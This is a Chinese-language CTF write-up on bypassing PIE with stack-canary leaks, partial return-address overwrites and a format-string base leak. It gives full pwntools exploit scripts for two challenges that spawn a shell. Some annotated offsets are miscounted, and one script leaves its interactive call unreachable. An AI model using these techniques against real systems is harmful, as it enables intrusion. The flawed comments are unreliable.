绕过防御之击败PIE保护

PIE的介绍

Position-independent executable 地址无关可执行文件，该技术就是对于代码段、text 段、data 段、.bss 段等固定地址的一个防护手段，应用了 PIE 的程序在每次加载时都会变换加载基址，从而使 ropper 等工具无法得到准确的地址的一种防护。

但注意：PIE 只是 “整体偏移随机”，程序内部的相对地址不变！

tip) 在计算机中，内存地址本质是一串二进制数（比如 64 位系统中是 64 位二进制），“最后 12 位” 就是这串二进制数的最低 12 位（最右侧的 12 位）。 也可以认为成是十六进制的最后 1.5 位

虚拟内存的 “页对齐” 规则

操作系统分配内存时，是以 页（Page） 为最小单位的，x86-64 系统默认页大小是 4KB = 0x1000 字节

  • 程序的基地址必须是 0x1000 的整数倍（即基地址的最后 12 位全是 0，比如 0x55f8a7600000、0x551234500000）；
  • 程序内部的函数 / 变量偏移，是编译时确定的（比如 main 偏移 0x5d6、system 偏移 0x2d290），且偏移值一定小于一个页（或跨页但相对偏移固定）；

因此：实际地址 = 基地址（最后 12 位为 0） + 内部偏移（≤ 0xFFF 或固定） → 实际地址的最后 12 位，就是内部偏移的最后 12 位（完全不变）。

IDA 的 “虚拟地址” 显示逻辑

IDA 反编译时，会给 PIE 程序分配一个 “默认基地址”（通常是 0x100000，可在 IDA 中修改，但不影响偏移），然后显示 “默认基地址 + 内部偏移” 作为 “虚拟地址”。比如：

  • IDA 中 main 的虚拟地址是 0x1005d6 → 实际是 “默认基址 0x100000 + 偏移 0x5d6”；
  • 程序运行时，实际基址是 0x55f8a7600000 → 实际地址 0x55f8a76005d6；

对比两者的最后两位：0x05d6（IDA 虚拟地址）和 0x05d6（运行时实际地址）完全一致！这就是你说的 “PIE 隐藏了基地址，但最后的 12 位仍然会显示在 IDA 中”——IDA 显示的最后 12 位，本质是程序的 “内部相对偏移”，和运行时实际地址的最后 12 位完全相同。比如：

  • 程序编译后，main 相对于基地址的偏移是 0x5d6（假设）；
  • 第一次启动，基地址随机为 0x55f8a7600000，则 main 实际地址 = 基地址 + 偏移 = 0x55f8a76005d6；
  • 第二次启动，基地址随机为 0x551234500000，则 main 实际地址 = 0x5512345005d6

PIE的绕过方式（部分覆盖&直接泄露）

1）爆破 PIE Partial Write [BUU] linkctf_2018.7_babypie

1766367415808-b06ef3bf-664b-453b-b909-f3011ba3c953.png1769265449229-de0b75a7-7d8f-4e24-b0ca-89322664f72f.png1769275192180-c4fc66b5-1894-41df-a761-5c2290be5fa4.png

PIE隐藏了基地址，但是最后的12位仍然会显示在IDA中，我们可以通过对最后一个半字节的改变修改地址，达到进攻目的。因为我们只能一个字节一个字节改动，最后半个字节就需要爆破处理，1/16的概率。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 sub_960()
{
    _QWORD buf[6]; // [rsp+0h] [rbp-30h] BYREF

    buf[5] = __readfsqword(0x28u);
    setvbuf(stdin, 0, 2, 0);
    setvbuf(_bss_start, 0, 2, 0);
    memset(buf, 0, 32);
    puts("Input your Name:");
    read(0, buf, 0x30u);
    printf("Hello %s:\n", (const char *)buf);
    read(0, buf, 0x60u);
    return 0;
}

找到后门函数 system(“/bin/sh”)；地址为 0x0000000000000A42（由于开启 PIE，只有 A42 是固定不变的）

1
2
3
4
int sub_A3E()
{
  return system("/bin/sh");
}

基本函数分析： memset(buf, 0, 32);对buf的32个字节进行清零。

Canary：__readfsqword(0x28u) 是 x86_64 Linux 下读取全局 Canary 值的核心操作，对应读取 FS 段 0x28 偏移处的 8 字节；

分析 IDA 发现有两个 read 函数，第一个可以用来泄露 canary，第二个用来后早 payload 获取 shell。

由于 Canary 是八个字节且最后一个字节为 \x00，所以我们截取小端排序的前七个字节来获取 Canary。

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os='linux', arch='amd64', log_level='debug')  
p = remote("node5.buuoj.cn", 29544)  # 题目的远程端口
p.recvuntil("Input your Name:\n")
payload = b'a' * (0x30 - 0x8 + 0x1)
p.send(payload)
p.recvuntil("Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
tmp = p.recv(7)
canary = b'\x00' + tmp
print("canary：", canary)

我们已知 PIE 的最后 1.5 个字节是不变的，因此我们只需要爆破倒数第二个字节的十六进制的第一位 16 次即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
addr = b'\x42'
for i in range(16):
    addr += bytes([0x10*i+0xA])        #[]这里一定要加上中括号，表示一个字节
    payload = b'a'*(0x30-0x8) + canary + p64(0) + addr
    p.send(payload)
    p.sendline(b'ls')
    s = p.recvline() 
    if b'bin' in s:
        print("爆破成功",addr)
        break
    else:
        addr = addr[:-1]         #去除最后一位十六进制数字，即i
        continue
p.interactive()

爆破exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(os='linux', arch='amd64', log_level='debug')  
p = remote("node5.buuoj.cn", 29544)  # 题目的远程端口
p.recvuntil("Input your Name:\n")
payload = b'a' * (0x30 - 0x8 + 0x1)
p.send(payload)
p.recvuntil("Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
tmp = p.recv(7)
canary = b'\x00' + tmp
print("canary：", canary)
addr = b'\x42'
for i in range(16):
    addr += bytes([0x10*i+0xA])       
    payload = b'a'*(0x30-0x8) + canary + p64(0) + addr
    p.send(payload)
    p.sendline(b'ls')
    s = p.recvline() 
    if b'bin' in s:
        print("爆破成功",addr)
        break
    else:
        addr = addr[:-1]        
        continue
p.interactive()

1769279199683-0214b4d9-be12-4446-ac12-5941ed5fe9ec.png

当然赌狗要是觉得自己 exp 准确无误，也可以尝试不用爆破尝试暴力碰撞那 0.5 个字节，不过是 1/16 的概率。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *  # 导入 pwntools 库（远程连接、payload 构造、调试都依赖它）

context(os='linux', arch='amd64', log_level='debug')  # 上下文配置：
# os='linux'：目标系统是 Linux；
# arch='amd64'：64 位程序（地址 8 字节、寄存器 64 位）；
# log_level='debug'：打印调试日志（显示发送/接收的所有数据，方便排查问题）

content = 1  # 本地/远程切换开关（1=远程，0=本地，本地测试通后改 0 换成本地 process 连接）

io = remote("node5.buuoj.cn", 25487)  # 远程连接：IP=node5.buuoj.cn（BUUCTF 远程服务器），端口=25487
# 本地测试时需改为：io = process('./本地程序名')
io.recvuntil("Input your Name:\n")  # 接收远程程序输出，直到遇到提示语“Input your Name:\n”（等待输入的标志）

payload = b'a' * (0x30 - 0x8 + 0x1)  # 构造“泄露 Canary”的 payload：
# 关键偏移解释（基于题目栈布局）：
# 0x30：局部缓冲区（存储输入 Name 的数组）大小（48 字节）；
# 0x30 - 0x8 = 0x28（36 字节）：填满缓冲区后，刚好到达 Canary 前 1 字节（Canary 占 8 字节）；
# +0x1（加 1 字节）：总共 37 个 'a'，最后 1 个 'a' 会覆盖 Canary 的第 8 字节（最后 1 字节，原本是 \x00）；
# 目的：破坏 Canary，让程序在输出“Hello + 输入”时，泄露 Canary 的前 7 字节。

io.send(payload)  # 发送泄露 Canary 的 payload 到远程服务器

io.recvuntil("Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")  # 定位泄露位置：
# 接收“Hello + 36 个 'a'”（因为 payload 前 36 个是 'a'，第 37 个 'a' 覆盖 Canary），之后的输出就是泄露的 Canary 数据。

tmp = io.recv(7)  # 读取泄露的 Canary 前 7 字节（因为第 8 字节被我们改成 'a' 了，无效）
canary = b'\x00' + tmp  # 恢复完整 Canary：
# Canary 原本是 8 字节，最后 1 字节固定为 \x00，所以用 b'\x00' + 前 7 字节，凑成完整 8 字节 Canary。
print("canary：", canary)  # 打印 Canary（如 b'\x00\x12\x34\x56\x78\x9a\xbc\xde'）
address = b'\x42'  # 后门函数地址的低 1 字节（固定为 0x42，从题目泄露或 IDA 分析得出）

for i in range(16):  # 遍历 16 种可能（PIE 低 12 位的高 4 位是 0~F，共 16 种）
    # 构造地址的第 2 字节：0xA + 0x10*i（i 从 0~15，所以第 2 字节是 0xA、0x1A、...、0xFA）
    address += bytes([0x10 * i + 0xa])  # 最终 address 是 2 字节：低字节 0x42，高字节 0xA~0xFA（即 0x0A42、0x1A42、...、0xFA42）
    # 为什么是 2 字节？因为 64 位地址的高 52 位是随机基址（无需改），仅需覆盖低 12 位（2 字节足够）。

    # 构造栈溢出 payload（核心结构：垃圾数据 + 正确 Canary + 覆盖 rbp + 后门地址）
    payload = b'a' * (0x30 - 0x8)  # 垃圾数据：36 字节，填满局部缓冲区（不破坏 Canary）
    payload += canary  # 写入正确的 Canary（避免程序因 Canary 错误崩溃）
    payload += b'a' * 0x8  # 垃圾数据：8 字节，覆盖 rbp 寄存器（64 位程序 rbp 是 8 字节，不影响执行）
    payload += address  # 覆盖返回地址：写入后门函数的低 2 字节（高 52 位复用程序基址）

    io.send(payload)  # 发送溢出 payload 到远程服务器
    io.sendline(b'ls')  # 发送测试命令：ls（列出目录，判断是否获取 Shell）
    s = io.recvline()  # 接收远程服务器的返回结果

    if b'bin' in s:  # 判断是否爆破成功：
        # 若返回结果中包含 'bin'（ls 命令会列出 /bin 目录），说明已获取 Shell，后门地址正确
        print("地址爆破成功：", address)
        break  # 退出循环，结束爆破
    else:  # 爆破失败：
        address = address[:-1]  # 删除刚才添加的第 2 字节（恢复为仅 0x42）
        continue  # 继续下一次遍历
        io.interactive()  # 进入交互模式：此时可输入任意 Shell 命令（如 cat flag.txt 读取flag）
2）直接泄露 NSSCTF[深育杯 2021]find_flag
1766368335430-daae065f-1f35-4083-9956-efcca909588e.png 1766415905237-9724c3aa-6d4c-4821-a730-5e222233bd8b.png 1766416461145-fa73991a-bce2-4830-8334-1274ddb677dd.png 1766415966869-758489ed-a2e3-439f-b655-0e30266e5b6e.png
strcat

strcat(format, "!\n"); 是 C 语言中 字符串拼接函数 的调用，作用是将字符串 "!\n" 追加到字符数组 format 的末尾，拼接后 format 会包含原内容 + 感叹号 + 换行符

典型canary保护

v3 = __readfsqword(0x28u); return __readfsqword(0x28u) ^ v3;

这两行代码是 GCC 编译器为 x86-64 架构生成的 Canary（栈保护）校验逻辑，核心作用是 检测栈是否被非法篡改（如栈溢出），是 CTF Pwn 中绕不过的 “栈保护屏障”。

不知道为什么main下不了断点，我们就在printf处下断点吧

1766418154320-01e979fb-21ce-4f30-a6c9-b1619d7b06f9.png

直接找到canary，然后计算偏移

1766418610712-20cf2140-9141-4dbe-9e10-41849a126049.png在 GDB（尤其是搭配 pwndbg 插件）中，fm 是 fmtarg 命令的缩写，核心作用是 快速定位格式化字符串漏洞的参数偏移（即确定 %n$p 中的 n 是多少），是 CTF 中分析格式化字符串漏洞的高频工具。

确定gets的偏移1766419318434-a9596208-98ba-49b5-9643-113987a6c31a.png

直接泄露exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context(os='linux', arch='amd64', log_level='debug') 
content = 1
p=remote('node4.anna.nssctf.cn',28547)

p.sendlineafter("Hi! What's your name? ", '%17$llx, %19$llx')
p.recvuntil('Nice to meet you, ')
canary = int((b'0x' + p.recv(16)), 16)
p.recvuntil(', ')
elfbase = int((b'0x' + p.recv(12)), 16) - 0x146f 
log.success('leak: 0x%xneflbase: 0x%x' %(canary, elfbase))
backdoor = elfbase + 0x1228
p.sendlineafter('Anything else? ', b'a' * 56 + p64(canary) + p64(0) + p64(backdoor))
p.interactive()

exp详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
p.sendlineafter("Hi! What's your name? ", '%17$llx, %19$llx')  # 发送格式化字符串：
# 关键语法：%n$llx → 64位程序中读取栈上第n个参数，以小写十六进制输出（llx 对应 64位整数）；
# %17$llx：读取第17个参数 → 脚本推测是 Canary（8字节，十六进制输出为 16 个字符）；
# , （逗号分隔符）：区分两个泄露数据，避免解析混淆；
# %19$llx：读取第19个参数 → 脚本推测是程序基址相关地址（如 main 函数内指令地址，6字节/12个十六进制字符）；
# 为什么是 17$ 和 19$？→ 需通过 GDB+fm 命令调试确定，不同程序位置不同。

p.recvuntil('Nice to meet you, ')  # 定位泄露数据起始位置：跳过程序前缀输出

# 解析 Canary（栈保护值）
canary = int((b'0x' + p.recv(16)), 16)  # 核心逻辑：
# p.recv(16)：读取 16 字节（Canary 是 8字节，llx 输出为 16 个十六进制字符，无 0x 前缀）；
# b'0x' + ：手动拼接 0x 前缀，使其成为合法的十六进制字符串（如 b'0x1234567890abcdef'）；
# int(..., 16)：将字节流转为整数（Canary 的原始值）；
# 潜在问题：若泄露的 Canary 不是 16 字节（如少/多字符），会导致转整数失败（报 TypeError 或 ValueError）。

p.recvuntil(', ')  # 跳过分隔符，定位第二个泄露数据

# 解析程序基址
elfbase = int((b'0x' + p.recv(12)), 16) - 0x146f  # 核心逻辑：
# p.recv(12)：读取 12 字节（基址相关地址是 6字节，llx 输出为 12 个十六进制字符）；
# b'0x' + ：拼接前缀，转合法十六进制；
# - 0x146f：减去该地址相对于程序基址的偏移（通过 IDA 反编译得出）；
# 结果 elfbase 就是程序的真实基址（绕过 PIE 随机化）；
# 潜在问题1：泄露地址长度不是 12 字节 → 转整数失败；
# 潜在问题2：偏移 0x146f 错误 → 基址计算错误，后续后门地址失效。

# 打印泄露结果（调试用，确认是否正确）
log.success('leak: 0x%x  elfbase: 0x%x' %(canary, elfbase))
backdoor = elfbase + 0x1228  # 后门函数地址 = 程序基址 + 后门偏移（0x1228 从 IDA 中查找得出）

# 构造栈溢出 payload
p.sendlineafter('Anything else? ', b'a' * 56 + p64(canary) + p64(0) + p64(backdoor))  # payload 结构：
# b'a'*56：垃圾数据 → 填满“缓冲区到 Canary 之前”的空间（56 是调试得出的精准偏移）；
# p64(canary)：写入正确的 Canary（8字节）→ 绕过栈保护校验（必须和泄露的一致）；
# p64(0)：覆盖 rbp 寄存器（8字节，填 0 即可，垃圾数据不影响）；
# p64(backdoor)：覆盖返回地址（8字节）→ 程序执行流跳转到后门函数；
# 潜在问题：56 字节偏移错误 → 覆盖不到 Canary 或返回地址（触发 stack smashing 或执行失败）。

p.interactive()  # 进入交互模式，获取 flag 或 Shell
1766368844294-65609a44-dbfc-4d74-add6-2a0095c5b6f1.png

更新: 2026-01-26 15:47:24
原文: https://www.yuque.com/idcm/wnemg9/owph8w5gdwfergf9